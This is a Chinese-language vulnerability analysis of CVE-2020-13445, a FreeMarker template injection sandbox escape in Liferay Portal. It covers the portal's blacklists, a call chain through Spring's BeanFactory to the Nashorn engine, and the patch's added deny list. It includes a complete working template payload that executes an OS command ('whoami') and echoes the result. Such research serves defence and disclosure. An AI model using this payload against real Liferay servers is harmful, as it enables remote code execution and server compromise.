Liferay+Portal+ 模板 RCE 分析(CVE-2020-13445)

Andrew 2021-02-17
专栏 - 资讯 发布于 2021-02-17 21:57:15 阅读 23 评论 0

前言

GHSL小组成员Alvaro Munoz在2020年3月报告了Liferay Portal中的模板注入漏洞,通过其描述可以得知具有编辑模板权限的用户可以实现通过该漏洞实现远程代码执行,而漏洞产生原因是由于绕过了Liferay Portal自定义的安全保护机制从而使得允许通过Freemarker模板实例化任意对象完成沙箱逃逸(CVE-2020-13445)

模板安全策略

在Liferay Portal中实现了自定义的ObjectWrapper,在访问对象时将会触发wrap方法(使用黑、白名单校验)

class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper

图片

访问对象时将经过wrap方法并触发校验调用 _checkClassIsRestricted 方法

图片跟入 _checkClassIsRestricted方法具体逻辑如下

图片

在构造方法中传入 allowedClassNamesrestrictedClassNamesrestrictedMethodNames 参数
wrap 方法中调用 _checkClassIsRestricted 方法进行校验。
注:在低版本中不存在 RestrictedLiferayObjectWrapper 类,而核心逻辑位于 LiferayObjectWrapper

而黑白名单来自于 com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration
图片

受到限制的类

com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
java.lang.Class
java.lang.ClassLoader
java.lang.Compiler
java.lang.Package
java.lang.Process
java.lang.Runtime
java.lang.RuntimePermission
java.lang.SecurityManager
java.lang.System
java.lang.Thread
java.lang.ThreadGroup
java.lang.ThreadLocal

受到限制的变量

httpUtilUnsafe
objectUtil
serviceLocator
staticFieldGetter
staticUtil
utilLocator

我们还需要关注Liferay Portal中的类解析器 com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver
此类是 freemarker.core.TemplateClassResolver 接口的实现,在加载class时将调用 resolve 方法
图片

  • Execute、ObjectConstructor 无法被加载

  • 非白名单中的类无法被加载

以上限制将导致无法在模板中创建对象或是经过ClassLoader加载Class等方法来利用

漏洞分析

虽然存在着诸多限制,但是允许通过模板上下文中暴露的大量对象提供的方法完成一个链式调用后绕过安全机制来实例化任意对象最终完成逃逸导致远程代码执行

在模板上下文中存在着许多变量,每个变量都对应到一个对象,而这些对象中暴露的方法可能会存在问题。
其中${renderRequest} 的类型是 class com.liferay.portlet.internal.RenderRequestImpl,同时它是 class com.liferay.portal.kernel.portlet.LiferayRenderRequest 的子类
在父类 class com.liferay.portlet.internal.RenderRequestImpl 中存在一个getter方法 public PortletContext getPortletContext()
图片
通过此方法我们可以获取到 class com.liferay.portlet.internal.PortletContextImpl 的实例(PortletContext)

PortletContextImpl 中存在getter方法为 public ServletContext getServletContext()
图片
通过此方法我们可以继续获取到 ServletContext,但它是由ASM生成,而并非是容器原生的 ServletContext

不过这个 ServletContext 提供了 getContext 方法,接着调用该方法我们可以获得容器原生的 ServletContext 实例(Tomcat中的ApplicationContextFacade
图片
至于为什么要获取到容器的 ServletContext,是因为在下一步我们需要从Servlet上下文中通过 getAttribute 方法获取到Spring的 ApplicationContext
这个保留在上下文Attribute中的命名为 org.springframework.web.context.WebApplicationContext.ROOT

经过测试由ASM生成的 ServletContext 是无法获取到该Attribute的
图片

而容器的 ServletContext 是可以获取到的
图片

此时我们已经拿到到了Spring的 ApplicationContext
实例类型为Liferay Portal中实现的 class com.liferay.portal.spring.context.PortalApplicationContext,它是 class org.springframework.web.context.support.XmlWebApplicationContext 的子类

目前获取到的 Spring ApplicationContext 可以做很多的事情,但是要想达到远程代码执行的效果还是需要继续探索。
我们可以通过获取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 类型为自定义类型 以及 scope 作用域为”prototype”,然后调用 getBean 方法, Spring将实例化一个我们定义的类型对象并返回达到实例化任意对象的效果。

这里的思路是实例化JDK中的 Nashorn 脚本引擎工厂,接着调用 getScriptEngine 获取 Nashorn 引擎实例,再调用 eval 方法来执行脚本。
寻找 BeanDefinition 时,只需要注意构造方法的参数即可,例如 Nashorn 脚本引擎工厂为无参构造方法。
其中名为 com.liferay.document.library.kernel.service.DLAppServiceBeanDefinition 是符合这个条件的。
图片

整个调用链及利用如下:

  1. 通过内置对象 ${renderRequest} 调用 getPortalContext() 获取 PortalContext 对象

  2. 通过 PortalContext 获取 ServletContext (ServletContextDelegate - 由 ASM 生成)

  3. 通过 ServletContextDelegate 调用 getContext(“/“) 获取 ApplicationContext

  4. 通过 ApplicationContext 调用 getAttribute(“org.springframework.web.context.WebApplicationContext.ROOT”) 获取 PortalApplicationContext(继承至 Spring XmlWebApplicationContext)

  5. 通过 PortalApplicationContext 调用 getBeanFactory() 获取 LiferayBeanFactory (继承至 Spring DefaultListableBeanFactory)

  6. 通过 LiferayBeanFactory 调用 getBeanDefinition(“com.liferay.document.library.kernel.service.DLAppService”) 获取 DLAppService 的 BeanDefinition

  7. 通过 BeanDefinition 调用 setScope(“prototype”) 修改 scope 为 “prototype” (非单例)

  8. 通过 BeanDefinition 调用 setBeanClassName(“jdk.nashorn.api.scripting.NashornScriptEngineFactory”) 修改 BeanClass 为 “jdk.nashorn.api.scripting.NashornScriptEngineFactory” (Nashorn 脚本引擎工厂)

  9. 通过 LiferayBeanFactory 调用 registerBeanDefinition 将篡改后的 BeanDefinition 重新注册

  10. 通过 LiferayBeanFactory 调用 getBean 将会导致创建 Nashorn 脚本引擎工厂对象并获取

  11. 通过 NashornScriptEngineFactory 调用 getScriptEngine() 获取 Nashorn 脚本引擎对象

  12. 通过 NashornScriptEngine 调用 eval 执行恶意脚本,触发远程代码执行

构造回显 Payload

<#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>
<#assign ec=sp.setScope("prototype")>
<#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>
<#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>
<#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>
${res}

图片

触发后成功执行
图片

补丁分析

Liferay Portal 7.3.2-GA3 中较之前版本增加了如下黑名单,其中增加了 com.liferay.portal.spring.context.* 导致无法访问 Spring ApplicationContext

com.ibm.*
com.liferay.portal.spring.context.*
io.undertow.*
org.apache.*
org.glassfish.*
org.jboss.*
org.springframework.*
org.wildfly.*
weblogic.*

参考:https://github.com/liferay/liferay-portal/...

原创: 带头老哥 补天平台
原文链接:https://mp.weixin.qq.com/s/xWmGqM1oQYrg3T8...

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!